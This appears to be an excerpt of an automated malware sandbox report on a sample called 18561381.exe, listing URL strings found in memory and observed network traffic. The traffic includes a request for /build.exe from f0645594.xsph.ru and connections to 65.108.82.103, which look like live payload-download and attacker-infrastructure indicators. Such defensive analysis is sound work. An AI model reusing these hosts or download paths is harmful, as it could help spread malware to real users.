Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.io
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static-cdn.jtvnw.net
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://status.discord.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://status.discordapp.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://streamable.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.discord.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.discordapp.com
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: svchost.exe, 0000000F.00000003.432673242.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432708088.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433339004.00000129A611A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433164456.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432875829.00000129A6002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434260416.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434364370.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432965566.00000129A6103000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.317931906.0000021856213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000005.00000003.294338259.0000021856231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000005.00000003.317332983.0000021856246000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000005.00000003.294338259.0000021856231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000005.00000002.317980756.000002185623A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.294338259.0000021856231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000005.00000003.316533370.0000021856251000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.318032237.0000021856257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/videos/
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vid.me
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w.soundcloud.com/player/
Source: svchost.exe, 0000000F.00000003.439033226.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.437732478.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 0000000F.00000003.439033226.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.437732478.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.funimation.com/player/
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: svchost.exe, 0000000F.00000003.432673242.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432708088.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433339004.00000129A611A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433164456.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432875829.00000129A6002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434260416.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434364370.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432965566.00000129A6103000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 0000000F.00000003.432673242.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432708088.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433339004.00000129A611A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.433164456.00000129A5BB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432875829.00000129A6002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434260416.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.434364370.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.432965566.00000129A6103000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypalobjects.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.redditmedia.com/mediaembed/
Source: svchost.exe, 0000000F.00000003.444504938.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444848797.00000129A5B83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444604322.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report
Source: svchost.exe, 0000000F.00000003.444504938.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.443597786.00000129A6002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.443231610.00000129A5BBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.443382898.00000129A5BA4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.443137021.00000129A5BBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444848797.00000129A5B83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.444604322.00000129A5B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/embed/

Source: unknown

DNS traffic detected: queries for: discord.com

Source: global traffic	HTTP traffic detected: GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1Host: discord.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1Host: discord.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /build.exe HTTP/1.1Host: f0645594.xsph.ruConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.82.103

Source: svchost.exe, 0000000F.00000003.412585185.00000129A5B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 0000000F.00000003.412585185.00000129A5B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 0000000F.00000003.410447547.00000129A5B72000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.412585185.00000129A5B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-03-16T11:50:35.2508848Z\|\|.\|\|ede3de80-d349-4334-91aa-b55ad5898f32\|\|1152921505694576786\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000000F.00000003.410447547.00000129A5B72000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.412585185.00000129A5B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-03-16T11:50:35.2508848Z\|\|.\|\|ede3de80-d349-4334-91aa-b55ad5898f32\|\|1152921505694576786\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
